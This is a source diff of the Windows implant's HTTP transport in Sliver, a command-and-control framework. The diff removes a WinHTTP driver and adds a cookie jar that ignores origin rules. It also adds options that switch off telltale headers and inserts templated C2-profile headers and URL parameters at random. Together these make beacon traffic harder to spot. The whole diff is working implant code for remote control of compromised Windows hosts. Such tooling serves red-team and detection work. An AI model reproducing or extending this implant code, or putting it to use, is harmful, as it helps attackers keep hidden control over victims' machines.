-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return nil
-}
-
-// SetOption is WinHttpSetOption from winhttp.h
-func SetOption(hndl, opt uintptr, val []byte, valLen int) error {
-	var e error
-	var proc string = "WinHttpSetOption"
-	var success uintptr
-
-	// Pointer to data if provided
-	if valLen == 0 {
-		val = make([]byte, 1)
-	}
-
-	success, _, e = winhttp.NewProc(proc).Call(
-		hndl,
-		opt,
-		uintptr(unsafe.Pointer(&val[0])),
-		uintptr(valLen),
-	)
-	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return nil
-}

implant/sliver/transports/httpclient/drivers/win/wininet/client_windows.go

@@ -5,6 +5,8 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net/http"
+	"net/url"
+	"sync"
 	"time"
 )
 
@@ -16,12 +18,15 @@ type Client struct {
 	TLSClientConfig struct {
 		InsecureSkipVerify bool
 	}
+	CookieJar *Jar
 }
 
 // NewClient will return a pointer to a new Client instance that
 // simply wraps the net/http.Client type.
 func NewClient(userAgent string) (*Client, error) {
-	var client = &Client{}
+	var client = &Client{
+		CookieJar: cookieJar(),
+	}
 	var err error
 
 	// Create session
@@ -130,6 +135,10 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
 		}
 	}
 
+	for _, cookie := range c.CookieJar.Cookies(request.URL) {
+		req.AddCookie(cookie)
+	}
+
 	if err = sendRequest(reqHandle, req); err != nil {
 		return nil, err
 	}
@@ -138,6 +147,8 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
 		return nil, err
 	}
 
+	c.CookieJar.cookies = resp.Cookies()
+
 	return &http.Response{
 		Status:        resp.Status,
 		StatusCode:    resp.StatusCode,
@@ -150,3 +161,38 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
 		Header:        make(http.Header),
 	}, nil
 }
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/response.go

@@ -1,6 +1,8 @@
 package wininet
 
-import "io"
+import (
+	"io"
+)
 
 // Response is a struct containing common HTTP response data.
 type Response struct {

implant/sliver/transports/httpclient/drivers/win/wininet/utils_windows.go

@@ -10,17 +10,17 @@ import (
 	"strings"
 )
 
-func convertFail(str string, e error) error {
+func convertFail(str string, err error) error {
 	return fmt.Errorf(
 		"failed to convert %s to Windows type: %w",
 		str,
-		e,
+		err,
 	)
 }
 
 func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 	var connHndl uintptr
-	var e error
+	var err error
 	var flags uintptr
 	var passwd string
 	var port int64
@@ -29,16 +29,16 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 	var uri *url.URL
 
 	// Parse URL
-	if uri, e = url.Parse(r.URL); e != nil {
-		return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, e)
+	if uri, err = url.Parse(r.URL); err != nil {
+		return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, err)
 	}
 
 	passwd, _ = uri.User.Password()
 
 	if uri.Port() != "" {
-		if port, e = strconv.ParseInt(uri.Port(), 10, 64); e != nil {
-			e = fmt.Errorf("port %s invalid: %w", uri.Port(), e)
-			return 0, e
+		if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
+			err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
+			return 0, err
 		}
 	}
 
@@ -48,7 +48,7 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 	}
 
 	// Create connection
-	connHndl, e = InternetConnectW(
+	connHndl, err = InternetConnectW(
 		sessionHndl,
 		uri.Hostname(),
 		int(port),
@@ -58,8 +58,8 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 		flags,
 		0,
 	)
-	if e != nil {
-		return 0, fmt.Errorf("failed to create connection: %w", e)
+	if err != nil {
+		return 0, fmt.Errorf("failed to create connection: %w", err)
 	}
 
 	// Send query string too
@@ -69,9 +69,10 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 
 	// Allow NTLM auth
 	flags |= InternetFlagKeepConnection
+	flags |= InternetFlagNoCookies //we're responsible for cookie management
 
 	// Create HTTP request
-	reqHndl, e = HTTPOpenRequestW(
+	reqHndl, err = HTTPOpenRequestW(
 		connHndl,
 		r.Method,
 		uri.Path+query,
@@ -81,8 +82,8 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
 		flags,
 		0,
 	)
-	if e != nil {
-		return 0, fmt.Errorf("failed to open request: %w", e)
+	if err != nil {
+		return 0, fmt.Errorf("failed to open request: %w", err)
 	}
 
 	return reqHndl, nil
@@ -95,7 +96,7 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
 	var body io.ReadCloser
 	var code int64
 	var contentLen int64
-	var e error
+	var err error
 	var hdrs map[string][]string
 	var major int
 	var minor int
@@ -104,20 +105,20 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
 	var status string
 
 	// Get status code
-	b, e = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
-	if e != nil {
-		return nil, e
+	b, err = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
+	if err != nil {
+		return nil, err
 	}
 
 	status = string(b)
-	if code, e = strconv.ParseInt(status, 10, 64); e != nil {
-		return nil, fmt.Errorf("status %s invalid: %w", status, e)
+	if code, err = strconv.ParseInt(status, 10, 64); err != nil {
+		return nil, fmt.Errorf("status %s invalid: %w", status, err)
 	}
 
 	// Get status text
-	b, e = queryResponse(reqHndl, HTTPQueryStatusText, 0)
-	if e != nil {
-		return nil, e
+	b, err = queryResponse(reqHndl, HTTPQueryStatusText, 0)
+	if err != nil {
+		return nil, err
 	} else if len(b) > 0 {
 		status += " " + string(b)
 	}
@@ -126,13 +127,13 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
 	cookies = getCookies(reqHndl)
 
 	// Parse headers and proto
-	if proto, major, minor, hdrs, e = getHeaders(reqHndl); e != nil {
-		return nil, e
+	if proto, major, minor, hdrs, err = getHeaders(reqHndl); err != nil {
+		return nil, err
 	}
 
 	// Read response body
-	if body, contentLen, e = readResponse(reqHndl); e != nil {
-		return nil, e
+	if body, contentLen, err = readResponse(reqHndl); err != nil {
+		return nil, err
 	}
 
 	res = &Response{
@@ -161,17 +162,17 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
 func getCookies(reqHndl uintptr) []*Cookie {
 	var b []byte
 	var cookies []*Cookie
-	var e error
+	var err error
 	var tmp []string
 
 	// Get cookies
 	for i := 0; ; i++ {
-		b, e = queryResponse(
+		b, err = queryResponse(
 			reqHndl,
 			HTTPQuerySetCookie,
 			i,
 		)
-		if e != nil {
+		if err != nil {
 			break
 		}
 
@@ -189,7 +190,7 @@ func getHeaders(
 	reqHndl uintptr,
 ) (string, int, int, map[string][]string, error) {
 	var b []byte
-	var e error
+	var err error
 	var hdrs = map[string][]string{}
 	var major int64
 	var minor int64
@@ -197,9 +198,9 @@ func getHeaders(
 	var tmp []string
 
 	// Get headers
-	b, e = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
-	if e != nil {
-		return "", 0, 0, nil, e
+	b, err = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
+	if err != nil {
+		return "", 0, 0, nil, err
 	}
 
 	for _, hdr := range strings.Split(string(b), "\r\n") {
@@ -218,16 +219,16 @@ func getHeaders(
 			if len(tmp) >= 2 {
 				tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
 
-				major, e = strconv.ParseInt(tmp[0], 10, 64)
-				if e != nil {
-					e = fmt.Errorf("invalid HTTP version: %w", e)
-					return "", 0, 0, nil, e
+				major, err = strconv.ParseInt(tmp[0], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
 				}
 
-				minor, e = strconv.ParseInt(tmp[1], 10, 64)
-				if e != nil {
-					e = fmt.Errorf("invalid HTTP version: %w", e)
-					return "", 0, 0, nil, e
+				minor, err = strconv.ParseInt(tmp[1], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
 				}
 			}
 		}
@@ -238,27 +239,27 @@ func getHeaders(
 
 func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
 	var buffer []byte
-	var e error
+	var err error
 	var size int
 
 	if idx < 0 {
 		idx = 0
 	}
 
-	e = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
-	if e != nil {
+	err = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
+	if err != nil {
 		buffer = make([]byte, size)
 
-		e = HTTPQueryInfoW(
+		err = HTTPQueryInfoW(
 			reqHndl,
 			info,
 			&buffer,
 			&size,
 			&idx,
 		)
-		if e != nil {
-			e = fmt.Errorf("failed to query info: %w", e)
-			return []byte{}, e
+		if err != nil {
+			err = fmt.Errorf("failed to query info: %w", err)
+			return []byte{}, err
 		}
 	}
 
@@ -270,15 +271,15 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
 	var chunk []byte
 	var chunkLen int64
 	var contentLen int64
-	var e error
+	var err error
 	var n int64
 
 	// Get Content-Length and body of response
 	for {
 		// Get next chunk size
-		e = InternetQueryDataAvailable(reqHndl, &chunkLen)
-		if e != nil {
-			e = fmt.Errorf("failed to query data available: %w", e)
+		err = InternetQueryDataAvailable(reqHndl, &chunkLen)
+		if err != nil {
+			err = fmt.Errorf("failed to query data available: %w", err)
 			break
 		}
 
@@ -288,9 +289,9 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
 		}
 
 		// Read next chunk
-		e = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
-		if e != nil {
-			e = fmt.Errorf("failed to read data: %w", e)
+		err = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
+		if err != nil {
+			err = fmt.Errorf("failed to read data: %w", err)
 			break
 		}
 
@@ -299,38 +300,37 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
 		b = append(b, chunk...)
 	}
 
-	if e != nil {
-		return nil, 0, e
+	if err != nil {
+		return nil, 0, err
 	}
 
 	return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
 }
 
 func sendRequest(reqHndl uintptr, r *Request) error {
-	var e error
+	var err error
 	var method uintptr
 
 	// Process cookies
 	method = HTTPAddreqFlagAdd
-	// FIXME why doesn't this work here?!
-	// method |= HTTPAddreqFlagCoalesceWithSemicolon
+	method |= HTTPAddreqFlagCoalesceWithSemicolon
 
-	// FIXME This is a dumb hack
-	HTTPAddRequestHeadersW(
-		reqHndl,
-		"Cookie: ignore=ignore",
-		HTTPAddreqFlagAddIfNew,
-	)
+	// // FIXME This is a dumb hack
+	// HTTPAddRequestHeadersW(
+	// 	reqHndl,
+	// 	"Cookie: ignore=ignore",
+	// 	HTTPAddreqFlagAddIfNew,
+	// )
 	// End dumb hack
 
 	for _, c := range r.Cookies() {
-		e = HTTPAddRequestHeadersW(
+		err = HTTPAddRequestHeadersW(
 			reqHndl,
 			"Cookie: "+c.Name+"="+c.Value,
 			method,
 		)
-		if e != nil {
-			return fmt.Errorf("failed to add cookies: %w", e)
+		if err != nil {
+			return fmt.Errorf("failed to add cookies: %w", err)
 		}
 	}
 
@@ -339,26 +339,26 @@ func sendRequest(reqHndl uintptr, r *Request) error {
 	method |= HTTPAddreqFlagReplace
 
 	for k, v := range r.Headers {
-		e = HTTPAddRequestHeadersW(
+		err = HTTPAddRequestHeadersW(
 			reqHndl,
 			k+": "+v,
 			method,
 		)
-		if e != nil {
-			return fmt.Errorf("failed to add request headers: %w", e)
+		if err != nil {
+			return fmt.Errorf("failed to add request headers: %w", err)
 		}
 	}
 
 	// Send HTTP request
-	e = HTTPSendRequestW(
+	err = HTTPSendRequestW(
 		reqHndl,
 		"",
 		0,
 		r.Body,
 		len(r.Body),
 	)
-	if e != nil {
-		return fmt.Errorf("failed to send request: %w", e)
+	if err != nil {
+		return fmt.Errorf("failed to send request: %w", err)
 	}
 
 	return nil

implant/sliver/transports/httpclient/drivers/win/wininet/wininet_windows.go

@@ -16,7 +16,7 @@ func HTTPAddRequestHeadersW(
 	header string,
 	addMethod uintptr,
 ) error {
-	var e error
+	var err error
 	var ok uintptr
 	var proc string = "HttpAddRequestHeadersW"
 	var pswzHeader uintptr
@@ -26,24 +26,23 @@ func HTTPAddRequestHeadersW(
 		// Weird, just do nothing
 		return nil
 	}
-
 	header = strings.TrimSpace(header) + "\r\n"
 
 	// Convert to Windows types
-	if tmp, e = windows.UTF16PtrFromString(header); e != nil {
-		return convertFail(header, e)
+	if tmp, err = windows.UTF16PtrFromString(header); err != nil {
+		return convertFail(header, err)
 	}
 
 	pswzHeader = uintptr(unsafe.Pointer(tmp))
 
-	ok, _, e = wininet.NewProc(proc).Call(
+	ok, _, err = wininet.NewProc(proc).Call(
 		reqHndl,
 		pswzHeader,
 		uintptr(len(header)),
 		addMethod,
 	)
 	if ok == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return nil
@@ -60,7 +59,7 @@ func HTTPOpenRequestW(
 	flags uintptr,
 	context uintptr,
 ) (uintptr, error) {
-	var e error
+	var err error
 	var lpcwstrObjectName uintptr
 	var lpcwstrReferrer uintptr
 	var lpcwstrVerb uintptr
@@ -77,47 +76,47 @@ func HTTPOpenRequestW(
 			continue
 		}
 
-		tmp, e = windows.UTF16PtrFromString(theType)
-		if e != nil {
-			return 0, convertFail(theType, e)
+		tmp, err = windows.UTF16PtrFromString(theType)
+		if err != nil {
+			return 0, convertFail(theType, err)
 		}
 
 		lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
 	}
 
 	if objectName != "" {
-		if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
-			return 0, convertFail(objectName, e)
+		if tmp, err = windows.UTF16PtrFromString(objectName); err != nil {
+			return 0, convertFail(objectName, err)
 		}
 
 		lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if referrer != "" {
-		if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
-			return 0, convertFail(referrer, e)
+		if tmp, err = windows.UTF16PtrFromString(referrer); err != nil {
+			return 0, convertFail(referrer, err)
 		}
 
 		lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if verb != "" {
-		if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
-			return 0, convertFail(verb, e)
+		if tmp, err = windows.UTF16PtrFromString(verb); err != nil {
+			return 0, convertFail(verb, err)
 		}
 
 		lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if version != "" {
-		if tmp, e = windows.UTF16PtrFromString(version); e != nil {
-			return 0, convertFail(version, e)
+		if tmp, err = windows.UTF16PtrFromString(version); err != nil {
+			return 0, convertFail(version, err)
 		}
 
 		lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
 	}
 
-	reqHndl, _, e = wininet.NewProc(proc).Call(
+	reqHndl, _, err = wininet.NewProc(proc).Call(
 		connHndl,
 		lpcwstrVerb,
 		lpcwstrObjectName,
@@ -128,7 +127,7 @@ func HTTPOpenRequestW(
 		context,
 	)
 	if reqHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
+		return 0, fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return reqHndl, nil
@@ -143,7 +142,7 @@ func HTTPQueryInfoW(
 	index *int,
 ) error {
 	var b []uint16
-	var e error
+	var err error
 	var proc string = "HttpQueryInfoW"
 	var success uintptr
 	var tmp string
@@ -154,7 +153,7 @@ func HTTPQueryInfoW(
 		b = make([]uint16, 1)
 	}
 
-	success, _, e = wininet.NewProc(proc).Call(
+	success, _, err = wininet.NewProc(proc).Call(
 		reqHndl,
 		info,
 		uintptr(unsafe.Pointer(&b[0])),
@@ -162,7 +161,7 @@ func HTTPQueryInfoW(
 		uintptr(unsafe.Pointer(index)),
 	)
 	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	tmp = windows.UTF16ToString(b)
@@ -180,7 +179,7 @@ func HTTPSendRequestW(
 	dataLen int,
 ) error {
 	var body uintptr
-	var e error
+	var err error
 	var lpcwstrHeaders uintptr
 	var proc string = "HttpSendRequestW"
 	var success uintptr
@@ -193,14 +192,14 @@ func HTTPSendRequestW(
 
 	// Convert to Windows types
 	if headersLen > 0 {
-		if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
-			return convertFail(headers, e)
+		if tmp, err = windows.UTF16PtrFromString(headers); err != nil {
+			return convertFail(headers, err)
 		}
 
 		lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
 	}
 
-	success, _, e = wininet.NewProc(proc).Call(
+	success, _, err = wininet.NewProc(proc).Call(
 		reqHndl,
 		lpcwstrHeaders,
 		uintptr(headersLen),
@@ -208,7 +207,7 @@ func HTTPSendRequestW(
 		uintptr(dataLen),
 	)
 	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return nil
@@ -226,7 +225,7 @@ func InternetConnectW(
 	context uintptr,
 ) (uintptr, error) {
 	var connHndl uintptr
-	var e error
+	var err error
 	var lpcwstrServerName uintptr
 	var lpcwstrUserName uintptr
 	var lpcwstrPassword uintptr
@@ -235,30 +234,30 @@ func InternetConnectW(
 
 	// Convert to Windows types
 	if password != "" {
-		if tmp, e = windows.UTF16PtrFromString(password); e != nil {
-			return 0, convertFail(password, e)
+		if tmp, err = windows.UTF16PtrFromString(password); err != nil {
+			return 0, convertFail(password, err)
 		}
 
 		lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if serverName != "" {
-		if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
-			return 0, convertFail(serverName, e)
+		if tmp, err = windows.UTF16PtrFromString(serverName); err != nil {
+			return 0, convertFail(serverName, err)
 		}
 
 		lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if username != "" {
-		if tmp, e = windows.UTF16PtrFromString(username); e != nil {
-			return 0, convertFail(username, e)
+		if tmp, err = windows.UTF16PtrFromString(username); err != nil {
+			return 0, convertFail(username, err)
 		}
 
 		lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
 	}
 
-	connHndl, _, e = wininet.NewProc(proc).Call(
+	connHndl, _, err = wininet.NewProc(proc).Call(
 		sessionHndl,
 		lpcwstrServerName,
 		uintptr(serverPort),
@@ -269,7 +268,7 @@ func InternetConnectW(
 		context,
 	)
 	if connHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
+		return 0, fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return connHndl, nil
@@ -283,7 +282,7 @@ func InternetOpenW(
 	proxyBypass string,
 	flags uintptr,
 ) (uintptr, error) {
-	var e error
+	var err error
 	var lpszAgent uintptr
 	var lpszProxy uintptr
 	var lpszProxyBypass uintptr
@@ -293,31 +292,31 @@ func InternetOpenW(
 
 	// Convert to Windows types
 	if userAgent != "" {
-		if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
-			return 0, convertFail(userAgent, e)
+		if tmp, err = windows.UTF16PtrFromString(userAgent); err != nil {
+			return 0, convertFail(userAgent, err)
 		}
 
 		lpszAgent = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if proxy != "" {
-		if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
-			return 0, convertFail(proxy, e)
+		if tmp, err = windows.UTF16PtrFromString(proxy); err != nil {
+			return 0, convertFail(proxy, err)
 		}
 
 		lpszProxy = uintptr(unsafe.Pointer(tmp))
 	}
 
 	if proxyBypass != "" {
-		tmp, e = windows.UTF16PtrFromString(proxyBypass)
-		if e != nil {
-			return 0, convertFail(proxyBypass, e)
+		tmp, err = windows.UTF16PtrFromString(proxyBypass)
+		if err != nil {
+			return 0, convertFail(proxyBypass, err)
 		}
 
 		lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
 	}
 
-	sessionHndl, _, e = wininet.NewProc(proc).Call(
+	sessionHndl, _, err = wininet.NewProc(proc).Call(
 		lpszAgent,
 		accessType,
 		lpszProxy,
@@ -325,7 +324,7 @@ func InternetOpenW(
 		flags,
 	)
 	if sessionHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
+		return 0, fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return sessionHndl, nil
@@ -336,18 +335,18 @@ func InternetQueryDataAvailable(
 	reqHndl uintptr,
 	bytesAvailable *int64,
 ) error {
-	var e error
+	var err error
 	var proc string = "InternetQueryDataAvailable"
 	var success uintptr
 
-	success, _, e = wininet.NewProc(proc).Call(
+	success, _, err = wininet.NewProc(proc).Call(
 		reqHndl,
 		uintptr(unsafe.Pointer(bytesAvailable)),
 		0,
 		0,
 	)
 	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return nil
@@ -361,7 +360,7 @@ func InternetReadFile(
 	bytesRead *int64,
 ) error {
 	var b []byte
-	var e error
+	var err error
 	var proc string = "InternetReadFile"
 	var success uintptr
 
@@ -371,14 +370,14 @@ func InternetReadFile(
 		b = make([]byte, 1)
 	}
 
-	success, _, e = wininet.NewProc(proc).Call(
+	success, _, err = wininet.NewProc(proc).Call(
 		reqHndl,
 		uintptr(unsafe.Pointer(&b[0])),
 		uintptr(bytesToRead),
 		uintptr(unsafe.Pointer(bytesRead)),
 	)
 	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	*buffer = b
@@ -393,7 +392,7 @@ func InternetSetOptionW(
 	val []byte,
 	valLen int,
 ) error {
-	var e error
+	var err error
 	var proc string = "InternetSetOptionW"
 	var success uintptr
 
@@ -402,14 +401,14 @@ func InternetSetOptionW(
 		val = make([]byte, 1)
 	}
 
-	success, _, e = wininet.NewProc(proc).Call(
+	success, _, err = wininet.NewProc(proc).Call(
 		hndl,
 		opt,
 		uintptr(unsafe.Pointer(&val[0])),
 		uintptr(valLen),
 	)
 	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
+		return fmt.Errorf("%s: %w", proc, err)
 	}
 
 	return nil

implant/sliver/transports/httpclient/drivers_windows.go

@@ -24,7 +24,6 @@ import (
 	"log"
 	// {{end}}
 
-	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/winhttp"
 	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
 )
 
@@ -38,12 +37,6 @@ func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
 		// {{end}}
 		return GoHTTPDriver(origin, secure, opts)
 
-	case winHTTPDriver:
-		// {{if .Config.Debug}}
-		log.Printf("Using winhttp driver")
-		// {{end}}
-		return WinHTTPDriver(origin, secure, opts)
-
 	case wininetDriver:
 		// {{if .Config.Debug}}
 		log.Printf("Using wininet driver")
@@ -58,17 +51,7 @@ func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
 	}
 }
 
-// WinHTTPDriver - Initialize a WinHTTP driver (Windows only)
-func WinHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
-	winhttpClient, err := winhttp.NewClient(userAgent)
-	if err != nil {
-		return nil, err
-	}
-	winhttpClient.TLSClientConfig.InsecureSkipVerify = true
-	return winhttpClient, nil
-}
-
-// WininetDriver - Initialize a WinHTTP driver (Windows only)
+// WininetDriver - Initialize a Wininet driver (Windows only)
 func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
 	wininetClient, err := wininet.NewClient(userAgent)
 	if err != nil {

implant/sliver/transports/httpclient/httpclient.go

@@ -48,7 +48,6 @@ import (
 
 const (
 	goHTTPDriver  = "go"
-	winHTTPDriver = "winhttp"
 	wininetDriver = "wininet"
 
 	userAgent         = "{{GenerateUserAgent}}"
@@ -63,12 +62,14 @@ var (
 
 // HTTPOptions - c2 specific configuration options
 type HTTPOptions struct {
-	Driver      string
-	NetTimeout  time.Duration
-	TlsTimeout  time.Duration
-	PollTimeout time.Duration
-	MaxErrors   int
-	ForceHTTP   bool
+	Driver               string
+	NetTimeout           time.Duration
+	TlsTimeout           time.Duration
+	PollTimeout          time.Duration
+	MaxErrors            int
+	ForceHTTP            bool
+	DisableAcceptHeader  bool
+	DisableUpgradeHeader bool
 
 	ProxyConfig   string
 	ProxyUsername string
@@ -99,12 +100,14 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
 	}
 
 	return &HTTPOptions{
-		Driver:      driverName,
-		NetTimeout:  netTimeout,
-		TlsTimeout:  tlsTimeout,
-		PollTimeout: pollTimeout,
-		MaxErrors:   maxErrors,
-		ForceHTTP:   c2URI.Query().Get("force-http") == "true",
+		Driver:               driverName,
+		NetTimeout:           netTimeout,
+		TlsTimeout:           tlsTimeout,
+		PollTimeout:          pollTimeout,
+		MaxErrors:            maxErrors,
+		ForceHTTP:            c2URI.Query().Get("force-http") == "true",
+		DisableAcceptHeader:  c2URI.Query().Get("disable-accept-header") == "true",
+		DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
 
 		ProxyConfig:   c2URI.Query().Get("proxy"),
 		ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -117,8 +120,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 	var client *SliverHTTPClient
 	var err error
 	if !opts.ForceHTTP {
-		client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
-		client.pollTimeout = opts.PollTimeout
+		client = httpsClient(address, opts)
+		client.Options = opts
 		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
 		if err == nil {
@@ -130,7 +133,10 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 		if strings.HasSuffix(address, ":443") {
 			address = fmt.Sprintf("%s:80", address[:len(address)-4])
 		}
+
 		client = httpClient(address, opts) // Fallback to insecure HTTP
+		client.Options = opts
+		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
 		if err != nil {
 			return nil, err
@@ -156,6 +162,8 @@ type SliverHTTPClient struct {
 	pollCancel  context.CancelFunc
 	pollMutex   *sync.Mutex
 	Closed      bool
+
+	Options *HTTPOptions
 }
 
 // SessionInit - Initialize the session
@@ -212,13 +220,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
 func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
 	req, _ := http.NewRequest(method, uri.String(), body)
 	req.Header.Set("User-Agent", userAgent)
-	if method == http.MethodGet {
+	if method == http.MethodGet && !s.Options.DisableAcceptHeader {
 		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
 		req.Header.Set("Accept", acceptHeaderValue)
 	}
-	if uri.Scheme == "http" {
+	if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
 		req.Header.Set("Upgrade-Insecure-Requests", "1")
 	}
+
+	type nameValueProbability struct {
+		Name        string
+		Value       string
+		Probability string
+	}
+
+	// HTTP C2 Profile headers
+	extraHeaders := []nameValueProbability{
+		// {{range $header := .HTTPC2ImplantConfig.Headers}}
+		{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
+		// {{end}}
+	}
+	for _, header := range extraHeaders {
+		probability, _ := strconv.Atoi(header.Probability)
+		if 0 < probability {
+			roll := insecureRand.Intn(99) + 1
+			if probability < roll {
+				continue
+			}
+		}
+		req.Header.Set(header.Name, header.Value)
+	}
+
+	extraURLParams := []nameValueProbability{
+		// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
+		{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
+		// {{end}}
+	}
+	queryParams := req.URL.Query()
+	for _, param := range extraURLParams {
+		probability, _ := strconv.Atoi(param.Probability)
+		if 0 < probability {
+			roll := insecureRand.Intn(99) + 1
+			if probability < roll {
+				continue
+			}
+		}
+		queryParams.Set(param.Name, param.Value)
+	}
+	req.URL.RawQuery = queryParams.Encode()
 	return req
 }
 
@@ -248,7 +297,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
 		select {
 		case <-ctx.Done():
 			done <- ctx.Err()
-		case <-time.After(s.pollTimeout):
+		case <-time.After(s.Options.PollTimeout):
 			// {{if .Config.Debug}}
 			log.Printf("[http] poll timeout error!")
 			// {{end}}
@@ -487,7 +536,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
 	for index, segment := range segments {
 		segments[index] = url.PathEscape(segment)
 	}
-	if s.PathPrefix != "" {
+	if s.PathPrefix != "" && s.PathPrefix != "/" {
